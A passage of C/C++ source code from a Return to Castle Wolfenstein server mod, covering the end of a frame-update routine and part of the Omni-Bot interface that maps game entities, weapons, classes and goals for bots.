trap_SendServerCommand( -1, "print \"^1Axis ^7team wins by drawing First Blood^1!\n\"");
} // L0 - end
if(g_binocWar.integer)
{
G_BinocMasters();
}
level.statsPrinted = qtrue;
}
//S4NDM4NN
// if ((level.time >= level.locationCheckTime + 1500) && (g_deathmatch.integer == 2))
// checkLocation();
//END S4NDM4NN
//Agent - we are going to check everything that gets done when the level starts and
if((level.time - level.startTime == 500) && (g_gamestate.integer == GS_PLAYING)){
//CheckRoundStart(ent);
G_LogPrintf("Server time is: %s", asctime (timeinfo));
}
if ((level.time >= (level.LastFraglimitScore+120000))& (g_gamestate.integer == GS_PLAYING))
CheckFraglimitScores();
if ((level.time >= level.LastGunSpawnCheck + 35000) && (g_deathmatch.integer == 2))
DeathmatchGunSpawn();
if(level.endDeathmatch && (level.time >= level.nextDeathmatchendTime))
endDeathmatch();
//dont check in warmup you dumb...!...give them 10 secs so taht server doesnt go crazy and say "well looks like no body is here...i"
/*
if((level.time - level.startTime == 5000) && (g_gamestate.integer == GS_PLAYING)){
if (level.time >= (level.LastMapRotationCheck + 60000))
CheckMapRotation();
}*/
/* // Called from clientthink_real now
if(g_autoTap.integer){
if (level.time >= (level.LastAutoTapCheckTime + 250))
CheckAutoTap();
}
*/
if (g_msgs.integer > 0){
if (level.time >= (level.LastMsgTime + g_msgtime.integer*1000))
CheckMsgs();
}
if (g_needBalance.integer){
if (level.time >= level.balanceTime)
balanceTeams();
}
// Binoc war also controls how many Mins to print it.
if ((g_binocWar.integer) && (!g_SniperMode.integer) && (!g_goldrush.integer) && (g_deathmatch.integer != 2)
&& (level.time >= (level.LastBinocWarTime + 60000 * g_binocWar.integer))
&& (g_gamestate.integer == GS_PLAYING)){
G_BinocMasters();
}
//Bots/spectators
/*
if(level.time >= lastfakeplayertime + 500)
addfakeplayers();
*/
//showHitBoxes();
// Once a min sounds good
/*if (level.time >= level.LastDemoHeartbeat + 60000){
demoHeartbeat();
}*/
//Begin Agent server harassment
//if(level.time >= level.LastCheckServer + 5000)
// CheckServer();
//end :)
/*
if(level.LastCVARcheck+30000 <= level.time){
checkAllcvars();
}
*/
if((level.HAdone == qfalse) && (g_DoHighAcheivers.integer) && (level.time > level.HAlastPrintTime) && (g_gamestate.integer == GS_WARMUP_COUNTDOWN)){
PrintHighAcheivers();
}
if (g_goldrush.integer && (level.time - level.startTime >= g_timelimit.value*60000))
CheckGoldrush();
// check team votes
// CheckTeamVote( TEAM_RED );
// CheckTeamVote( TEAM_BLUE );
// for tracking changes
CheckCvars();
if (g_listEntity.integer) {
for (i = 0; i < MAX_GENTITIES; i++) {
G_Printf("%4i: %s\n", i, g_entities[i].classname);
}
trap_Cvar_Set("g_listEntity", "0");
}
// NERVE - SMF
if ( g_showHeadshotRatio.integer && level.missedHeadshots > 0 ) {
G_Printf( "Headshot Ratio = %2.2f percent, made = %i, missed = %i\n", ( float )level.totalHeadshots / level.missedHeadshots * 100.f, level.totalHeadshots, level.missedHeadshots );
}
// Ridah, check if we are reloading, and times have expired
CheckReloadStatus();
}
//ah, check if we are reloading, and times have expired
// CheckReloadStatus();
//}
#ifdef OMNIBOT
void G_HandleMessage(int _clientfrom, const char *_buffer, int _messagesize, int _commandtime)
{
}
#endif
<file_sep>/*
* RTCW <-> Omni-Bot interface source file.
*
*/
#include <sstream>
#include <iomanip>
extern "C"
{
#include "g_rtcwbot_interface.h"
};
#ifdef OMNIBOT
#include "BotExports.h"
#include "RTCW_Config.h"
#include "RTCW_Messages.h"
#define OMNIBOT_MIN_ENG 1
#define OMNIBOT_MIN_MED 2
#define OMNIBOT_MIN_LT 2
#define OMNIBOT_MIN_SOL 1
//ET_CORPSE isn't in 1.0
#define ONEPOINTZERO
void Bot_Event_EntityCreated(gentity_t *pEnt);
bool IsBot(gentity_t *e)
{
return e->r.svFlags & SVF_BOT ? true : false;
}
//////////////////////////////////////////////////////////////////////////
const int MAX_CACHE = 32;
int g_NumSmokeGrenades = 0;
gentity_t *g_SmokeGrenadeCache[MAX_CACHE] = {0};
struct BotEntity
{
obint16 m_HandleSerial;
bool m_NewEntity : 1;
bool m_Used : 1;
};
BotEntity m_EntityHandles[MAX_GENTITIES];
//////////////////////////////////////////////////////////////////////////
extern "C" const char *_GetEntityName(gentity_t *_ent)
{
static char newentname[ 256 ];
char *name;
newentname[ 0 ] = '\0';
if(_ent)
{
if(_ent->inuse && _ent->client)
{
if(_ent->client->pers.netname[0])
return _ent->client->pers.netname;
else
{
static char userinfo[MAX_INFO_STRING] = {0};
trap_GetUserinfo( _ent-g_entities, userinfo, sizeof(userinfo) );
return Info_ValueForKey( userinfo, "name" );
}
}
if(_ent->track)
strcpy( newentname, _ent->track );
else if(_ent->scriptName)
strcpy( newentname, _ent->scriptName );
else if(_ent->targetname)
strcpy( newentname, _ent->targetname );
else if(_ent->message)
strcpy( newentname, _ent->message );
name = newentname;
if ( name )
{
char undschar[] = { '-', NULL };
char skipchar[] = { '[', ']', '#', '!', '*', '`',
'^', '&', '<', '>', '+', '=', '|', '\'', '%',
'.', ':', '/', NULL };
char *curchar = NULL;
char *tmp = NULL;
char *tmpdst = NULL;
tmp = name;
tmpdst = name;
while ( *tmp )
{
curchar = undschar;
while ( *curchar )
{
if ( *tmp == *curchar )
{
*tmp = '_';
break;
}
curchar++;
}
curchar = skipchar;
while ( *curchar )
{
if ( *tmp == *curchar )
{
tmp++;
break;
}
curchar++;
}
*tmpdst = *tmp;
tmp++;
tmpdst++;
}
*tmpdst = '\0';
if ( !Q_stricmpn( "the ", name, 4 ) )
return name + 4;
return name;
}
}
return NULL;
}
gentity_t *INDEXENT(const int _gameId)
{
if(_gameId >= 0 && _gameId < MAX_GENTITIES)
{
switch(_gameId)
{
case ENTITYNUM_WORLD: // world ent not marked inuse for some reason
return &g_entities[ENTITYNUM_WORLD];
default:
return g_entities[_gameId].inuse ? &g_entities[_gameId] : 0;
}
}
return 0;
}
int ENTINDEX(gentity_t *_ent)
{
return _ent-g_entities;
}
gentity_t *EntityFromHandle(GameEntity _ent)
{
obint16 index = _ent.GetIndex();
if( index >= 0 && index < MAX_GENTITIES )
{
if(m_EntityHandles[index].m_HandleSerial == _ent.GetSerial() && g_entities[index].inuse)
return &g_entities[index];
if(index == ENTITYNUM_WORLD)
return &g_entities[ENTITYNUM_WORLD];
}
return NULL;
}
GameEntity HandleFromEntity(gentity_t *_ent)
{
if(_ent)
return GameEntity(_ent-g_entities, m_EntityHandles[_ent-g_entities].m_HandleSerial);
else
return GameEntity();
}
//////////////////////////////////////////////////////////////////////////
enum { MaxDeferredGoals = 64 };
MapGoalDef g_DeferredGoals[MaxDeferredGoals];
int g_NumDeferredGoals = 0;
bool g_GoalSubmitReady = false;
void AddDeferredGoal(gentity_t *ent)
{
if(g_NumDeferredGoals >= MaxDeferredGoals)
{
G_Error("Deferred Goal Buffer Full!");
return;
}
MapGoalDef &goaldef = g_DeferredGoals[g_NumDeferredGoals++];
switch(ent->s.eType)
{
case ET_GENERAL:
{
if ( !Q_stricmp( ent->classname, "misc_mg42" ) )
{
goaldef.m_Entity = HandleFromEntity(ent);
goaldef.m_GoalType = RTCW_GOAL_MG42MOUNT;
goaldef.m_Team |= (1 << RTCW_TEAM_ALLIES);
goaldef.m_Team |= (1 << RTCW_TEAM_AXIS);
const char *pGoalName = _GetEntityName(ent);
Q_strncpyz(goaldef.m_TagName,pGoalName?pGoalName:"",MapGoalDef::BufferSize);
break;
}
}
}
}
void SendDeferredGoals()
{
if(g_GoalSubmitReady)
{
for(int i = 0; i < g_NumDeferredGoals; ++i)
{
g_BotFunctions.pfnBotAddGoal(g_DeferredGoals[i]);
}
g_NumDeferredGoals = 0;
}
}
//////////////////////////////////////////////////////////////////////////
static qboolean weaponCharged(playerState_t* ps, team_t team, int weapon)
{
switch (weapon)
{
case WP_PANZERFAUST:
if ( level.time - ps->classWeaponTime < g_soldierChargeTime.integer * 0.80f)
{
return qfalse;
}
break;
case WP_DYNAMITE:
if ( level.time - ps->classWeaponTime < g_engineerChargeTime.integer * 0.80f)
{
return qfalse;
}
break;
case WP_MEDKIT:
if ( level.time - ps->classWeaponTime < g_medicChargeTime.integer * 0.25f )
{
return qfalse;
}
break;
case WP_AMMO:
if ( level.time - ps->classWeaponTime < g_LTChargeTime.integer * 0.25f )
{
return qfalse;
}
break;
case WP_SMOKE_GRENADE:
if ( level.time - ps->classWeaponTime < g_LTChargeTime.integer * 0.5f )
{
return qfalse;
}
break;
case WP_BINOCULARS:
switch (ps->stats[ STAT_PLAYER_CLASS ])
{
case PC_LT:
if ( level.time - ps->classWeaponTime < g_LTChargeTime.integer )
{
return qfalse;
}
break;
default:
return qfalse;
}
}
return qtrue;
}
static int CountPlayerClass(team_t team, int playerClass)
{
int num = 0;
int i, j;
for( i = 0; i < level.numConnectedClients; i++ )
{
j = level.sortedClients[i];
if( level.clients[j].sess.sessionTeam != team )
continue;
if( level.clients[j].sess.latchPlayerType != playerClass )
continue;
num++;
}
return num;
}
int Bot_TeamGameToBot(int team)
{
switch (team)
{
case TEAM_RED:
return RTCW_TEAM_AXIS;
case TEAM_BLUE:
return RTCW_TEAM_ALLIES;
case TEAM_SPECTATOR:
return OB_TEAM_SPECTATOR;
default:
return RTCW_TEAM_NONE;
}
}
static int playerClassBotToGame(int playerClass)
{
switch (playerClass)
{
case RTCW_CLASS_SOLDIER:
return PC_SOLDIER;
case RTCW_CLASS_MEDIC:
return PC_MEDIC;
case RTCW_CLASS_ENGINEER:
return PC_ENGINEER;
case RTCW_CLASS_LIEUTENANT:
return PC_LT;
default:
return -1;
}
}
int Bot_PlayerClassGameToBot(int playerClass)
{
switch (playerClass)
{
case PC_SOLDIER:
return RTCW_CLASS_SOLDIER;
case PC_MEDIC:
return RTCW_CLASS_MEDIC;
case PC_ENGINEER:
return RTCW_CLASS_ENGINEER;
case PC_LT:
return RTCW_CLASS_LIEUTENANT;
default:
return RTCW_CLASS_NULL;
}
}
static int _weaponBotToGame(int weapon)
{
switch (weapon)
{
case RTCW_WP_KNIFE:
return WP_KNIFE;
case RTCW_WP_LUGER:
return WP_LUGER;
case RTCW_WP_MP40:
return WP_MP40;
case RTCW_WP_MAUSER:
return WP_MAUSER;
case RTCW_WP_GREN_AXIS:
return WP_GRENADE_LAUNCHER;
case RTCW_WP_PANZERFAUST:
return WP_PANZERFAUST;
case RTCW_WP_VENOM:
return WP_VENOM;
case RTCW_WP_FLAMETHROWER:
return WP_FLAMETHROWER;
case RTCW_WP_COLT:
return WP_COLT;
case RTCW_WP_THOMPSON:
return WP_THOMPSON;
case RTCW_WP_GARAND:
return WP_GARAND;
case RTCW_WP_GREN_ALLIES:
return WP_GRENADE_PINEAPPLE;
case RTCW_WP_ROCKET_LAUNCHER:
return WP_ROCKET_LAUNCHER;
case RTCW_WP_SNIPERRIFLE:
return WP_SNIPERRIFLE;
case RTCW_WP_STEN:
return WP_STEN;
case RTCW_WP_SYRINGE:
return WP_MEDIC_SYRINGE;
case RTCW_WP_AMMO_PACK:
return WP_AMMO;
case RTCW_WP_ARTY:
return WP_ARTY;
case RTCW_WP_DYNAMITE:
return WP_DYNAMITE;
case RTCW_WP_SNIPER:
return WP_SNIPER;
case RTCW_WP_MEDKIT:
return WP_MEDKIT;
case RTCW_WP_PLIERS:
return WP_PLIERS;
case RTCW_WP_SMOKE_GRENADE:
return WP_SMOKE_GRENADE;
case RTCW_WP_BINOCULARS:
return WP_BINOCULARS;
default:
return WP_NONE;
}
}
//bleh
static int _weaponBotToMpWeapon(int weapon)
{
switch (weapon)
{
case RTCW_WP_MP40:
return 3;
case RTCW_WP_THOMPSON:
return 4;
case RTCW_WP_STEN:
return 5;
case RTCW_WP_MAUSER:
case RTCW_WP_GARAND:
case RTCW_WP_SNIPERRIFLE:
case RTCW_WP_SNIPER:
return 6;
case RTCW_WP_PANZERFAUST:
return 8;
case RTCW_WP_VENOM:
return 9;
case RTCW_WP_FLAMETHROWER:
return 10;
default:
return RTCW_WP_NONE;
}
}
int Bot_WeaponGameToBot(int weapon)
{
switch (weapon)
{
case WP_KNIFE:
return RTCW_WP_KNIFE;
case WP_LUGER:
return RTCW_WP_LUGER;
case WP_MP40:
return RTCW_WP_MP40;
case WP_MAUSER:
return RTCW_WP_MAUSER;
case WP_GRENADE_LAUNCHER:
return RTCW_WP_GREN_AXIS;
case WP_PANZERFAUST:
return RTCW_WP_PANZERFAUST;
case WP_VENOM:
return RTCW_WP_VENOM;
case WP_FLAMETHROWER:
return RTCW_WP_FLAMETHROWER;
case WP_COLT:
return RTCW_WP_COLT;
case WP_THOMPSON:
return RTCW_WP_THOMPSON;
case WP_GARAND:
return RTCW_WP_GARAND;
case WP_GRENADE_PINEAPPLE:
return RTCW_WP_GREN_ALLIES;
case WP_ROCKET_LAUNCHER:
return RTCW_WP_ROCKET_LAUNCHER;
case WP_SNIPERRIFLE:
return RTCW_WP_SNIPERRIFLE;
case WP_STEN:
return RTCW_WP_STEN;
case WP_MEDIC_SYRINGE:
return RTCW_WP_SYRINGE;
case WP_AMMO:
return RTCW_WP_AMMO_PACK;
case WP_ARTY:
return RTCW_WP_ARTY;
case WP_DYNAMITE:
return RTCW_WP_DYNAMITE;
case WP_SNIPER:
return RTCW_WP_SNIPER;
case WP_MEDKIT:
return RTCW_WP_MEDKIT;
case WP_PLIERS:
return RTCW_WP_PLIERS;
case WP_SMOKE_GRENADE:
return RTCW_WP_SMOKE_GRENADE;
case WP_BINOCULARS:
return RTCW_WP_BINOCULARS;
default:
return RTCW_WP_NONE;
}
}
static int Bot_HintGameToBot(gentity_t *_ent)
{
int iHintType = CURSOR_HINT_NONE;
if(_ent && _ent->client)
{
switch(_ent->client->ps.serverCursorHint)
{
case HINT_PLAYER:
iHintType = CURSOR_HINT_PLAYER;
break;
case HINT_ACTIVATE:
iHintType = CURSOR_HINT_ACTIVATE;
break;
case HINT_DOOR:
iHintType = CURSOR_HINT_DOOR;
break;
case HINT_DOOR_ROTATING:
iHintType = CURSOR_HINT_DOOR_ROTATING;
break;
case HINT_DOOR_LOCKED:
iHintType = CURSOR_HINT_DOOR_LOCKED;
break;
case HINT_DOOR_ROTATING_LOCKED:
iHintType = CURSOR_HINT_DOOR_LOCKED;
break;
case HINT_MG42:
iHintType = CURSOR_HINT_MG42;
break;
case HINT_BREAKABLE:
iHintType = CURSOR_HINT_BREAKABLE;
break;
case HINT_BREAKABLE_DYNAMITE:
iHintType = CURSOR_HINT_BREAKABLE_DYNAMITE;
break;
case HINT_CHAIR:
iHintType = CURSOR_HINT_CHAIR;
break;
case HINT_ALARM:
iHintType = CURSOR_HINT_ALARM;
break;
case HINT_HEALTH:
iHintType = CURSOR_HINT_HEALTH;
break;
case HINT_TREASURE:
iHintType = CURSOR_HINT_TREASURE;
break;
case HINT_KNIFE:
iHintType = CURSOR_HINT_KNIFE;
break;
case HINT_LADDER:
iHintType = CURSOR_HINT_LADDER;
break;
case HINT_BUTTON:
iHintType = CURSOR_HINT_BUTTON;
break;
case HINT_WATER:
iHintType = CURSOR_HINT_WATER;
break;
case HINT_WEAPON:
iHintType = CURSOR_HINT_WEAPON;
break;
case HINT_AMMO:
iHintType = CURSOR_HINT_AMMO;
break;
case HINT_POWERUP:
iHintType = CURSOR_HINT_POWERUP;
break;
case HINT_HOLDABLE:
iHintType = CURSOR_HINT_HOLDABLE;
break;
case HINT_INVENTORY:
iHintType = CURSOR_HINT_INVENTORY;
break;
case HINT_SCENARIC:
iHintType = CURSOR_HINT_SCENARIC;
break;
case HINT_EXIT:
iHintType = CURSOR_HINT_EXIT;
break;
case HINT_PLYR_FRIEND:
iHintType = CURSOR_HINT_PLYR_FRIEND;
break;
case HINT_PLYR_NEUTRAL:
iHintType = CURSOR_HINT_PLYR_NEUTRAL;
break;
case HINT_PLYR_ENEMY:
iHintType = CURSOR_HINT_PLYR_ENEMY;
break;
case HINT_PLYR_UNKNOWN:
iHintType = CURSOR_HINT_PLYR_UNKNOWN;
break;
case HINT_BUILD:
iHintType = CURSOR_HINT_BUILD;
break;
case HINT_DISARM:
iHintType = CURSOR_HINT_DISARM;
break;
case HINT_REVIVE:
iHintType = CURSOR_HINT_REVIVE;
break;
case HINT_DYNAMITE:
iHintType = CURSOR_HINT_DYNAMITE;
break;
}
}
return iHintType;
}
qboolean Simple_EmplacedGunIsRepairable( gentity_t* ent )
{
if( Q_stricmp( ent->classname, "misc_mg42" ) )
return qfalse;
if( ent->s.frame == 0 )
return qfalse;
return qtrue;
}
static int _choosePriWeap(int playerClass, int team)
{
switch (playerClass)
{
case RTCW_CLASS_SOLDIER:
{
int wpns[] =
{
// add shit as needed
RTCW_WP_PANZERFAUST,
RTCW_WP_FLAMETHROWER,
RTCW_WP_MAUSER,
RTCW_WP_VENOM,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
case RTCW_CLASS_MEDIC:
{
if(team == RTCW_TEAM_ALLIES)
{
int wpns[] =
{
// add shit as needed
RTCW_WP_THOMPSON,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
else
{
int wpns[] =
{
// add shit as needed
RTCW_WP_MP40,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
}
case RTCW_CLASS_ENGINEER:
{
if (team == RTCW_TEAM_ALLIES)
{
int wpns[] =
{
// add shit as needed
RTCW_WP_THOMPSON,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
else
{
int wpns[] =
{
// add shit as needed
RTCW_WP_MP40,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
}
case RTCW_CLASS_LIEUTENANT:
{
if(team == RTCW_TEAM_ALLIES)
{
int wpns[] =
{
// add shit as needed
RTCW_WP_THOMPSON,
RTCW_WP_STEN,
RTCW_WP_MP40,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
else
{
int wpns[] =
{
// add shit as needed
RTCW_WP_MP40,
RTCW_WP_STEN,
RTCW_WP_THOMPSON,
};
int rInt = rand() % (sizeof(wpns) / sizeof(wpns[0]));
return wpns[rInt];
}
}
default:
return RTCW_WP_NONE;
}
}
static void ReTransmitWeapons(const gentity_t* bot)
{
int weapon;
if (!bot || !bot->client)
return;
Bot_Event_ResetWeapons(bot-g_entities);
for (weapon = WP_NONE + 1; weapon < WP_NUM_WEAPONS; weapon++)
{
if (COM_BitCheck(bot->client->ps.weapons, weapon))
{
Bot_Event_AddWeapon(bot-g_entities, Bot_WeaponGameToBot(weapon));
}
}
}
#define MAX_SMOKE_RADIUS 320.0
#define MAX_SMOKE_RADIUS_TIME 10000.0
#define UNAFFECTED_BY_SMOKE_DIST SQR(100)
gentity_t *Bot_EntInvisibleBySmokeBomb(vec3_t start, vec3_t end)
{
gentity_t *ent = NULL;
vec3_t smokeCenter;
float smokeRadius;
// if the target is close enough, vision is not affected by smoke bomb
if( DistanceSquared(start, end) < UNAFFECTED_BY_SMOKE_DIST )
{
//pfnPrintMessage("within unaffected dist");
return 0;
}
//while (ent = G_FindSmokeBomb( ent ))
for(int i = 0; i < g_NumSmokeGrenades; ++i)
{
ent = g_SmokeGrenadeCache[i];
if (ent->s.effect1Time == 16)
{
//pfnPrintMessage("smoke not up yet");
// xkan, the smoke has not really started yet, see weapon_smokeBombExplode
// and CG_RenderSmokeGrenadeSmoke
continue;
}
// check the distance
VectorCopy( ent->s.pos.trBase, smokeCenter );
// raise the center to better match the position of the smoke, see
// CG_SpawnSmokeSprite().
smokeCenter[2] += 32;
// smoke sprite has a maximum radius of 640/2. and it takes a while for it to
// reach that size, so adjust the radius accordingly.
smokeRadius = MAX_SMOKE_RADIUS * ((level.time - ent->grenadeExplodeTime)/MAX_SMOKE_RADIUS_TIME);
if (smokeRadius > MAX_SMOKE_RADIUS)
smokeRadius = MAX_SMOKE_RADIUS;
// if distance from line is short enough, vision is blocked by smoke
//float fColorRed[3] = { 1.0f, 0.0f, 0.0f };
//float fColorGrn[3] = { 0.0f, 1.0f, 0.0f };
if (DistanceFromLineSquared(smokeCenter, start, end) < (smokeRadius * smokeRadius))
{
//pfnPrintMessage("hid by smoke");
//pfnAddTempDisplayLine(smokeCenter, end, fColorGrn);
return ent;
}
//pfnAddTempDisplayLine(smokeCenter, start, fColorRed);
}
return 0;
}
void Bot_Util_AddGoal(gentity_t *_ent, int _goaltype, int _team, const char *_tag, obUserData *_bud)
{
if(IsOmnibotLoaded())
{
MapGoalDef goaldef;
goaldef.m_Entity = HandleFromEntity(_ent);
goaldef.m_Entity.IsValid();
goaldef.m_GoalType = _goaltype;
goaldef.m_Team = _team;
if(_bud)
goaldef.m_UserData = *_bud;
Q_strncpyz(goaldef.m_TagName,_tag?_tag:"",MapGoalDef::BufferSize);
g_BotFunctions.pfnBotAddGoal(goaldef);
}
}
static int _GetEntityTeam(gentity_t *_ent)
{
// hack, when the game joins clients again after warmup, they are temporarily ET_GENERAL entities(LAME)
int t = _ent->s.eType;
if(_ent->client && (_ent-g_entities)<MAX_CLIENTS)
t = ET_PLAYER;
switch(t)
{
case ET_PLAYER:
return Bot_TeamGameToBot(_ent->client->sess.sessionTeam);
#ifndef ONEPOINTZERO
case ET_CORPSE:
return Bot_TeamGameToBot(BODY_TEAM(_ent));
#endif
case ET_MISSILE:
switch(_ent->s.weapon)
{
case WP_DYNAMITE:
case WP_DYNAMITE2:
if(_ent->methodOfDeath == MOD_LANDMINE)
return Bot_TeamGameToBot(_ent->s.teamNum - 4);
else
return Bot_TeamGameToBot(_ent->s.teamNum);
default:
return Bot_TeamGameToBot(_ent->s.teamNum);
}
// Let this fall through
default:
return Bot_TeamGameToBot(_ent->s.teamNum);
}
return 0;
}
static int _GetEntityClass(gentity_t *_ent)
{
// hack, when the game joins clients again after warmup, they are temporarily ET_GENERAL entities(LAME)
int t = _ent->s.eType;
if(_ent->client && (_ent-g_entities)<MAX_CLIENTS)
t = ET_PLAYER;
switch(t)
{
case ET_GENERAL:
{
if(!Q_stricmp(_ent->classname, "func_invisible_user"))
return ENT_CLASS_GENERIC_BUTTON;
else if(!Q_stricmp(_ent->classname, "func_button"))
return ENT_CLASS_GENERIC_BUTTON;
else if (!Q_stricmp (_ent->classname, "props_chair_hiback"))
return RTCW_CLASSEX_BROKENCHAIR;
else if (!Q_stricmp (_ent->classname, "props_chair"))
return RTCW_CLASSEX_BROKENCHAIR;
else if (!Q_stricmp (_ent->classname, "props_chair_side"))
return RTCW_CLASSEX_BROKENCHAIR;
else if ( !Q_stricmp( _ent->classname, "misc_mg42" ) && (_ent->health > 0) )
return RTCW_CLASSEX_MG42MOUNT;
break;
}
case ET_INVISIBLE:
{
if(_ent->client)
return ENT_CLASS_GENERIC_SPECTATOR;
break;
}
case ET_PLAYER:
{
if (!_ent->client ||
(_ent->client->sess.sessionTeam != TEAM_RED &&
_ent->client->sess.sessionTeam != TEAM_BLUE))
return ENT_CLASS_GENERIC_SPECTATOR;
// Special case for dead players that haven't respawned.
if(_ent->client->ps.pm_type >= PM_DEAD && !(_ent->client->ps.pm_flags & PMF_LIMBO))
return RTCW_CLASSEX_INJUREDPLAYER;
//CS: When scripting class changes we want to be able to
// count predicted classes
if ( g_gamestate.integer > GS_PLAYING || _ent->client->ps.pm_type > PM_SPECTATOR ||
_ent->client->ps.pm_flags & PMF_LIMBO )
return Bot_PlayerClassGameToBot(_ent->client->sess.latchPlayerType);
return Bot_PlayerClassGameToBot(_ent->client->sess.playerType);
}
case ET_ITEM:
{
if(!Q_strncmp(_ent->classname, "item_health", strlen("item_health")))
return ENT_CLASS_GENERIC_HEALTH;
else if(!Q_strncmp(_ent->classname, "weapon_magicammo", strlen("weapon_magicammo")))
return ENT_CLASS_GENERIC_AMMO;
else if(!Q_stricmp(_ent->classname, "item_treasure"))
return RTCW_CLASSEX_TREASURE;
else if (_ent->item && _ent->item->giType == IT_WEAPON)
return ENT_CLASS_GENERIC_WEAPON;
break;
}
#ifndef ONEPOINTZERO
case ET_CORPSE:
{
return RTCW_CLASSEX_CORPSE;
}
#endif
case ET_MISSILE:
{
// Register certain weapons as threats to avoid or whatever.
switch(_ent->s.weapon)
{
case WP_GRENADE_PINEAPPLE:
return RTCW_CLASSEX_GRENADE;
case WP_PANZERFAUST:
return RTCW_CLASSEX_ROCKET;
case WP_ARTY:
return RTCW_CLASSEX_ARTY;
case WP_DYNAMITE:
case WP_DYNAMITE2:
if( _ent->methodOfDeath == MOD_LANDMINE )
return RTCW_CLASSEX_MINE;
return RTCW_CLASSEX_DYNAMITE;
default:
if(!Q_strncmp(_ent->classname, "air strike", sizeof("air strike")))
{
return RTCW_CLASSEX_AIRSTRIKE;
}
}
break;
}
case ET_FLAMETHROWER_CHUNK:
{
return RTCW_CLASSEX_FLAMECHUNK;
break;
}
case ET_MOVER:
{
if (!Q_stricmp(_ent->classname, "script_mover"))
{
return RTCW_CLASSEX_VEHICLE;
}
/* else if (!Q_stricmp(_ent->classname, "props_flamebarrel"))
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
}*/
else if (!Q_stricmp (_ent->classname, "props_chair_hiback"))
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
}
else if (!Q_stricmp (_ent->classname, "props_chair"))
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
}
else if (!Q_stricmp (_ent->classname, "props_chair_side"))
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
}
break;
}
/* case ET_PROP:
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
break;
}*/
#ifndef ONEPOINTZERO
case ET_MG42_BARREL:
{
if((_ent->health > 0) /*&&
(_ent->entstate != STATE_INVISIBLE)*/ )
{
return RTCW_CLASSEX_MG42MOUNT;
}
break;
}
#endif
case ET_EXPLOSIVE:
{
if ((_ent->health > 0) && (_ent->takedamage == qtrue))
{
return RTCW_CLASSEX_BREAKABLE;
}
break;
}
default:
break;
};
return 0;
}
qboolean _EmplacedGunIsMountable( gentity_t *_ent )
{
if(g_OmniBotFlags.integer & OBF_DONT_MOUNT_GUNS)
return qfalse;
return qtrue;
}
void Omnibot_Load_PrintMsg(const char *_msg)
{
G_Printf("Omni-bot: %s%s\n", S_COLOR_GREEN, _msg);
}
void Omnibot_Load_PrintErr(const char *_msg)
{
G_Printf("Omni-bot: %s%s\n", S_COLOR_RED, _msg);
}
int g_LastScreenMessageTime = 0;
int obUtilBotContentsFromGameContents(int _contents)
{
int iBotContents = 0;
if(_contents & CONTENTS_SOLID)
iBotContents |= CONT_SOLID;
if(_contents & CONTENTS_WATER)
iBotContents |= CONT_WATER;
if(_contents & CONTENTS_SLIME)
iBotContents |= CONT_SLIME;
if(_contents & CONTENTS_FOG)
iBotContents |= CONT_FOG;
if(_contents & CONTENTS_TELEPORTER)
iBotContents |= CONT_TELEPORTER;
if(_contents & CONTENTS_MOVER)
iBotContents |= CONT_MOVER;
if(_contents & CONTENTS_TRIGGER)
iBotContents |= CONT_TRIGGER;
if(_contents & CONTENTS_LAVA)
iBotContents |= CONT_LAVA;
return iBotContents;
}
int obUtilBotSurfaceFromGameSurface(int _surfaceflags)
{
int iBotSurface = 0;
if(_surfaceflags & SURF_SLICK)
iBotSurface |= SURFACE_SLICK;
return iBotSurface;
}
void Bot_Util_CheckForGoalEntity(GameEntity _ent)
{
if(IsOmnibotLoaded())
{
gentity_t *pEnt = EntityFromHandle(_ent);
const char *pGoalName = _GetEntityName(pEnt);
if(pEnt->inuse)
{
switch(pEnt->s.eType)
{
case ET_ITEM:
{
char buffer[256] = {0};
if(!Q_stricmp(pEnt->classname, "team_CTF_redflag"))
{
// allies flag
if(pEnt->s.otherEntityNum != -1)
pGoalName = _GetEntityName(&g_entities[pEnt->s.otherEntityNum]);
sprintf(buffer, "%s_dropped", pGoalName ? pGoalName : "allies_flag");
Bot_Util_AddGoal(pEnt, GOAL_CTF_FLAG,
(1 << RTCW_TEAM_ALLIES),
buffer, NULL);
Bot_Util_AddGoal(pEnt, GOAL_CTF_RETURN_FLAG,
(1 << RTCW_TEAM_AXIS),
buffer, NULL);
}
else if(!Q_stricmp(pEnt->classname, "team_CTF_blueflag"))
{
// axis flag
if(pEnt->s.otherEntityNum != -1)
pGoalName = _GetEntityName(&g_entities[pEnt->s.otherEntityNum]);
sprintf(buffer, "%s_dropped", pGoalName ? pGoalName : "axis_flag");
Bot_Util_AddGoal(pEnt, GOAL_CTF_FLAG,
(1 << RTCW_TEAM_AXIS),
buffer, NULL);
Bot_Util_AddGoal(pEnt, GOAL_CTF_RETURN_FLAG,
(1 << RTCW_TEAM_ALLIES),
buffer, NULL);
}
break;
}
/*case ET_MG42_BARREL: //CS: Using deferred goals now.
{
int team = 0;
team |= (1 << RTCW_TEAM_ALLIES);
team |= (1 << RTCW_TEAM_AXIS);
pGoalName = _GetEntityName(pEnt);
Bot_Util_AddGoal(pEnt, RTCW_GOAL_MG42MOUNT, team, pGoalName, NULL);
break;
}*/
default:
break;
}
}
}
}
// helper stuff
qboolean InFieldOfVision(vec3_t viewangles, float fov, vec3_t angles)
{
int i;
float diff, angle;
for (i = 0; i < 2; i++) {
angle = AngleMod(viewangles[i]);
angles[i] = AngleMod(angles[i]);
diff = angles[i] - angle;
if (angles[i] > angle) {
if (diff > 180.0) diff -= 360.0;
}
else {
if (diff < -180.0) diff += 360.0;
}
if (diff > 0) {
if (diff > fov * 0.5) return qfalse;
}
else {
